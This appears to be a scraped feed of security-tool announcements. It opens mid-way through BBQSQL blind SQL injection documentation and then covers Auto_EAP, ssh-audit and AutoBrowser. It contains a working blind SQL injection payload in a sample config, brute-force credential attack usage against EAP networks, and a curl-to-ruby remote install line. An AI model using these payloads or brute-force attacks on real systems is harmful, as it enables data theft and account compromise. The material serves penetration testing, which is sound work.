{"http": "10.10.1.10:3128","https": "10.10.1.10:1080"}

data
Specify post data to be sent along with the request. This can be a string or a dictionary. For example:
{"input_field":"value"} or input_field=value

method
Specify the method for the http request. Valid methods are
'get','options','head','post','put','patch','delete'

auth
Specify a tuple of username and password to be used for http basic authentication. For example:
("myusername","mypassword")

Export Config
After you have setup your attack in the UI, you can export the configuration file. You will see the option when you run the tool. The exported configuration file uses ConfigParser, and is easy to read. An example configuration file can be seen below:
`[Request Config] url = http://example.com/sqlivuln/index.php?username=user1&password=secret${injection} method = GET
[HTTP Config] query = ' and ASCII(SUBSTR((SELECT data FROM data LIMIT 1 OFFSET ${row_index:1}),${char_index:1},1))${comparator:>}${char_val:0} # technique = binary_search comparison_attr = size concurrency = 30`
This is useful if you plan on resuming an attack or maybe just adjusting the query but don't want to go through the hassle of reconfiguring every option.

Import Config
You can also import a config from the command line or from the user interface. To import a config from the command line just run bbqsl with the following options:
bbqsql -c config_file
When you load a config file either via command line or the user interface, the same validation routines are run on the paramters to make sure that are valid.

Custom Hooks
Sometimes you need to do something really crazy. Maybe do you need to encrypt the values going into a field before sending the request or maybe you need to triple URL encode. Regardless, these situations make other tools impossible to use. BBQSQL allows you to define "hook" functions that the tool will call at various points throughout the request. For example, you can specify a pre_request function that takes the request as its argument, does whatever mutations are necessary, and returns the modified request to be sent on to the server.
To implement this, create a Python file and specify hook functions. The available function names are listed bellow. In your hooks file, you can define as few or as many of these hooks functions as you would like. Then, in the bbqsql_options section of the menue, you can specify the location of your hooks_file. BBQSQL will suck in this file and use whatever hooks you defined.
It is important that the hooks functions you specify have the exact names specified bellow or else BBQSQL won't know which hook to call when. The args function receives one parameter that contains all the arguments that are being used to create the HTTP request. The pre_request function receives the request object before it is sent. The post_request function receives the request object after it has been sent. The response function receives the response object before it is returned to BBQSQL.
The following hooks are made available:
args : A dictionary of the arguments being sent to Request().
pre_request : The Request object, directly before being sent.
post_request : The Request object, directly after being sent.
response : The response generated from a Request.
For more information on how these hooks work and on how your hooks dictionary should look, check out the requests library documentation on its hooks
An example hooks file might look like this:
# file: hooks.py
import time

def pre_request(req):
"""
this hook replaces a placeholder with the current time
expecting the url to look like this:
http://www.google.com?k=v&time=PLACEHOLDER
"""
req.url = req.url.replace('PLACEHOLDER',str(time.time()))
return req

Found a Bug?
Submit any bug fixes or feature requests to https://github.com/Neohapsis/bbqsql/

Can I Help?
Please! We see this being a great starting place to build a fully capable sql injection framework. Feel free to fork the code and we can merge your changes if they are useful.

What's Up With the Name?
BBQ is absolutely delicious and so is SQL injection!


Auto_EAP - Automated Brute-Force Login Attacks Against EAP Networks

$
0
0

Auto_EAP.py is a script designed to perform automated brute-force authentication attacks against various types of EAP networks. These types of wireless networks provide an interface to facilitate password guessing of domain credentials as radius servers check authentication against Active Directory. Using the python library wpaspy, created by Jouni Malinen j@w1.fi to interact with the wpa_supplicant daemon, automated authentication attacks can be preformed with the intent of not causing account lock-outs.

Demo

./Auto_EAP.py -s HoneyPot -K WPA-EAP -E PEAP -U test.txt -p Summer2016 -i wlan0
Initialized...
Trying Username Alice with Password test: SUCCESS
Trying Username Bob with Password test: FAILED
Trying Username Charles with Password test: FAILED
Trying Username David with Password test: SUCCESS
Completed

Installation

Run 'RunMeFirst.py' within the root directory of Auto_EAP. This will compile the wpaspy library as well as setup a stand alone wpa_supplicant.conf file that Auto_EAP.py will use for testing, leaving the system’s wpa_supplicant config file untouched.

Help

./Auto_EAP.py -h
usage: Auto_EAP.py [-h] -i Interface -s SSID -U Usernamefile -p Password -K
Key_mgmt -E Eap_type

optional arguments:
-h, --help show this help message and exit
-i Interface, --interface Interface
The Interface to use
-s SSID, --ssid SSID The SSID to attack
-U Usernamefile, --User Usernamefile
Path to username file
-p Password, --password Password
Password to use
-K Key_mgmt, --key_mgmt Key_mgmt
Key_Management type to use
-E Eap_type, --eap_type Eap_type
Eap type to use

Todo list

  • [✓] Resoved bug with .a type wireless cards (Shout out to Havok0x90 for his help in resolving this issue)
  • [-] Add multi-threading functionality
  • [-] Add support for password lists


ssh-audit - SSH Server Auditing

$
0
0

ssh-audit is a tool for ssh server auditing.

Features
  • SSH1 and SSH2 protocol server support;
  • grab banner, recognize device or software and operating system, detect compression;
  • gather key-exchange, host-key, encryption and message authentication code algorithms;
  • output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc);
  • output algorithm recommendations (append or remove based on recognized software version);
  • output security information (related issues, assigned CVE list, etc);
  • analyze SSH version compatibility based on algorithm information;
  • historical information from OpenSSH, Dropbear SSH and libssh;
  • no dependencies, compatible with Python 2.6+, Python 3.x and PyPy;

Usage
usage: ssh-audit.py [-bnv] [-l <level>] <host[:port]>

-1, --ssh1 force ssh version 1 only
-2, --ssh2 force ssh version 2 only
-b, --batch batch output
-n, --no-colors disable colors
-v, --verbose verbose output
-l, --level=<level> minimum output level (info|warn|fail)
  • batch flag -b will output sections without header and without empty lines (implies verbose flag).
  • verbose flag -v will prefix each line with section type and algorithm name. 


ChangeLog

v1.6.0 (2016-10-14)
  • implement algorithm recommendations section (based on recognized software)
  • implement full libssh support (version history, algorithms, security, etc)
  • fix SSH-1.99 banner recognition and version comparison functionality
  • do not output empty algorithms (happens for misconfigured servers)
  • make consistent output for Python 3.x versions
  • add a lot more tests (conf, banner, software, SSH1/SSH2, output, etc)
  • use Travis CI to test for multiple Python versions (2.6-3.5, pypy, pypy3)

v1.5.0 (2016-09-20)
  • create security section for related security information
  • match and output assigned CVE list and security issues for Dropbear SSH
  • implement full SSH1 support with fingerprint information
  • automatically fallback to SSH1 on protocol mismatch
  • add new options to force SSH1 or SSH2 (both allowed by default)
  • parse banner information and convert it to specific sofware and OS version
  • do not use padding in batch mode
  • several fixes (Cisco sshd, rare hangs, error handling, etc)

v1.0.20160902
  • implement batch output option
  • implement minimum output level option
  • fix compatibility with Python 2.6

v1.0.20160812
  • implement SSH version compatibility feature
  • fix wrong mac algorithm warning
  • fix Dropbear SSH version typo
  • parse pre-banner header
  • better errors handling

v1.0.20160803
  • use OpenSSH 7.3 banner
  • add new key-exchange algorithms

v1.0.20160207
  • use OpenSSH 7.2 banner
  • additional warnings for OpenSSH 7.2
  • fix OpenSSH 7.0 failure messages
  • add rijndael-cbc failure message from OpenSSH 6.7

v1.0.20160105
  • multiple additional warnings
  • support for none algorithm
  • better compression handling
  • ensure reading enough data (fixes few Linux SSH)

v1.0.20151230
  • Dropbear SSH support

v1.0.20151223
  • initial version

AutoBrowser 4.0 - AutoBrowser Screenshot of HTTP/s Based Ports

$
0
0

AutoBrowser is a tool written in python for penetration testers. The purpose of this tool is to create report(Json file) and screenshots of http/s based ports on the network. you can choose between analyze Nmap report(XML file -oX ) or scan with Nmap, then the tool automaticly Check the results with http/s request on each host using headless web browser, then it would take a screenshot of the response page content.
  • This tool is designed for IT professionals to perform penetration testing.

Documentation:
positional arguments: * analyze - Analyze and browse (Require argument: nmap report location) ** scan - Scan and browse (Require argument: target host or file)
optional arguments: * -h, --help - show this help message and exit * **-p PROJECT, --project PROJECT * - project name (folder which contain all the data. default: project) * **-t TIMEOUT, --timeout TIMEOUT * - http request timeout period * **-w MAX_WORKERS, --max-workers MAX_WORKERS * - Max worker processes (Default: 4) * **--useragent USERAGENT * - Set specific user agent * **--java-enabled * - Display Java enviroment * **--verbose * - Show all checks verbosly * **--proxy PROXY * - Relay connections through HTTP/socks5 proxy (Example: socks5://127.0.0.1:8080) * **--proxy-auth PROXY_AUTH * - Set proxy credentials. (Example: username:password)

Examples:
You must to delimiting the values on the CLI arguments via double quotes only!
  • Get argument details of scan method:
    python AutoBrowser.py scan --help   
  • Scan with Nmap, checks the results and create folder by name project_name verbose via 10 workers:
    python AutoBrowser.py scan "192.168.1.1/24" -a="-sT -sV -T3" -p project_name --workers=10   
  • Scan a host list via Nmap(like -iL Nmap flag), checks the results and create folder by name project_name and enabling java environment:
    python AutoBrowser.py scan file_path.txt -a="-sT -sV -T3" -p project_name --verbose --java-enabled   
  • Get the argument details of analyze method:
    python AutoBrowser.py analyze --help   
  • Analyzing Nmap XML report and create folder by name report_analyze trough a Proxy:
    python AutoBrowser.py analyze nmap_file.xml --project report_analyze --proxy="socks5://127.0.0.1:8080"   
  • Analyzing Nmap XML report and create folder by name report_analyze trough a Proxy with credentials:
    python AutoBrowser.py analyze nmap_file.xml --project report_analyze --proxy="http://127.0.0.1:8080" --proxy-auth="username:password"   
  • Analyzing Nmap XML report and create folder by name report_analyze with specify user agent:
    python AutoBrowser.py analyze nmap_file.xml --project report_analyze --user-agent="My New UserAgent"   

Requirements:

Linux Installation:
  1. sudo apt-get install python-pip python2.7-dev libxext-dev python-qt4 qt4-dev-tools build-essential nmap
  2. sudo pip install -r requirements.txt

MacOSx Installation:
  1. Install Xcode Command Line Tools (AppStore)
  2.      ruby -e "$(curl -fsSL https://raw.github.com/mxcl/homebrew/go)"    
  3. brew install pyqt nmap
  4. sudo easy_install pip
  5. sudo pip install -r requirements.txt

Windows Installation:
  1. Install setuptools
  2. Install pip
  3. Install PyQt4
  4. install Nmap
  5. Open Command Prompt(cmd) as Administrator -> Goto python folder -> Scripts (cd c:\Python27\Scripts)
  6. pip install -r (Full Path To requirements.txt)


Viewing all 5816 articles
Browse latest View live